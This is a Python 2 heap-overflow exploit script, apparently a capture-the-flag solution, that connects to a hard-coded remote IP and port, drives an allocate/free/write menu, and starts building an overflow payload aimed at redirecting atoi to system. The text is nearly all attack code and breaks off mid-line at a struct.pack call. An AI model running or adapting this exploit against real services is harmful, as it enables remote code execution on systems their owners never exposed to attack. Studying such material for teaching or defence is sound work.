#!/usr/bin/env python import struct import socket import telnetlib ADDR = "54.64.45.35" PORT = 3573 # CODES ALLOC = 1 DEALLOC = 3 READIN = 2 CHECKER = 4 offset = 50928 # offset system - atoi s = socket.create_connection((ADDR, PORT)) def rtil(s, c): buf = "" while True: curr = s.recv(1) if curr == "": break buf += curr if(curr == c): break return buf def alloc(size): global s s.send(str(ALLOC) + "\n") s.send((str(size) + "\n")[:16]) t = rtil(s, "\n").strip() if t != "FAIL": rtil(s, "\n") return "ALLOC: %s"%t else: return "FAIL" def dealloc(idx): global s s.send(str(DEALLOC) + "\n") s.send((str(idx) + "\n")[:16]) return "DEALLOC: %s"%rtil(s, "\n").strip() def readin(idx, buf): global s s.send(str(READIN) + "\n") s.send((str(idx) + "\n")[:16]) s.send((str(len(buf)) + "\n")[:16]) s.send(buf) return "READIN: %s"%rtil(s, "\n").strip() # these two buffers were allocated in order to setup up # the needed structurs print alloc(1024) # idx = 1 print alloc(1024) # idx = 2 print alloc(8) # idx = 3 print alloc(8) # idx = 4 print alloc(8) # idx = 5 oflow = "X" * 8 oflow += "Y" * 8 oflow += struct.pack("